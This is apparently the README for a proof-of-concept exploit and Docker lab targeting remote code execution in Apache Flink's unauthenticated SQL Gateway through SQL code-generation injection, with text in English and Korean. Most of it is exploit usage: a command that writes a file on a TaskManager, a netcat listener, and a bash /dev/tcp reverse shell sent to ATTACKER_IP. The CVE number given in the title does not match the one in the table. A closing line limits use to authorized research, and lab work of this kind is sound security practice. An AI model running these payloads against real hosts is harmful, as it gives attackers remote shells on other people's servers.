
Proof-of-concept exploit and lab environment for CVE-2026-25194
SQL 코드 생성 인젝션을 통한 Apache Flink TaskManagers에서의 원격 코드 실행
| CVE | CVE-2026-35194 |
| CVSS | 8.1 (높음) |
| CWE | CWE-94 — 코드 인젝션 |
| Affected | Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 |
| Fixed | 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 |
| Attack Surface | SQL Gateway REST API (기본 포트 8083, 인증 없음) |
docker compose up -d
클러스터 시작까지 약 30초 대기. 두 개의 서비스가 올라옵니다:
http://localhost:8081http://localhost:8083확인:
curl -s http://localhost:8083/v1/info
# Should return version "1.20.3"
pip install requests
JSON 벡터:
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"
LIKE 벡터:
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"
버전 확인만 (RCE 없음):
python3 exploit.py localhost -p 8083 --check-only
TaskManager에서 RCE 확인:
docker exec flink-taskmanager cat /tmp/pwned
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — exploit
python3 exploit.py TARGET -p 8083 -v json \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
[--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
target
Options:
target Target host (IP or hostname)
-p, --port SQL Gateway port (default: 8083)
-c, --command Shell command to run on TaskManager
-v, --vector json (default) or like
--check-only Version check only, no exploit
-t, --timeout Request timeout in seconds (default: 30)
--cert / --key Client cert + key for mTLS environments
--ssl Force HTTPS
승인된 보안 연구 및 교육 목적으로만 사용하세요.